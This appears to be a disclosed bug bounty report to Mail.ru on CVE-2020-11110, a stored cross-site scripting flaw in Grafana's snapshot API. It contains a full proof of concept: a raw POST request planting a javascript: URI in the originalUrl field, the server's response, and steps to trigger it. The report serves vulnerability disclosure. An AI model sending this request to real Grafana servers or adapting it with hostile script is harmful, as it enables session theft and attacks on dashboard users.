Mail.ru: CVE-2020-11110: Grafana Unauthenticated Stored XSS -████.bizml.ru

Grafana through 6.7.1 allows stored XSS due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot.

PoC

• Send the following HTTP request

POST /api/snapshots HTTP/1.1
Host:█████████.bizml.ru
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
Content-Length: 739
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Connection: close
Referer: https://██████.bizml.ru
content-type: application/json
Accept-Encoding: gzip

{"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconColor":"rgba(0, 211, 255, 1)","type":"dashboard","builtIn":1,"hide":true}]},"editable":true,"gnetId":null,"graphTooltip":0,"id":null,"links":[],"panels":[],"schemaVersion":18,"snapshot":{"originalUrl":"javascript:alert('melbadry9')","timestamp":"2020-03-30T01:24:44.529Z"},"style":"dark","tags":[],"templating":{"list":[]},"time":{"from":null,"to":"2020-03-30T01:24:53.549Z","raw":{"from":"6h","to":"now"}},"timepicker":{"refresh_intervals":["5s","10s","30s","1m","5m","15m","30m","1h","2h","1d"],"time_options":["5m","15m","1h","6h","12h","24h","2d","7d","30d"]},"timezone":"","title":"Dashboard","uid":null,"version":0},"name":"Dashboard","expires":0}

• Response

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8
Date: Fri, 03 Sep 2021 07:09:47 GMT
Server: nginx/1.15.9
Strict-Transport-Security: max-age=15724800; includeSubDomains
Vary: Accept-Encoding

{"deleteKey":"█████████","deleteUrl":"http://localhost:3000/api/snapshots-delete/█████████","key":"█████","url":"http://localhost:3000/dashboard/snapshot/██████████"}

• Copy key ███ and open █████████.bizml.ru/dashboard/snapshot/<key> in my case http://██████.bizml.ru/dashboard/snapshot/██████

• Click on link Icon
  ██████

Resources

• https://ctf-writeup.revers3c.com/challenges/web/CVE-2020-11110/index.html

Impact

Stored XSS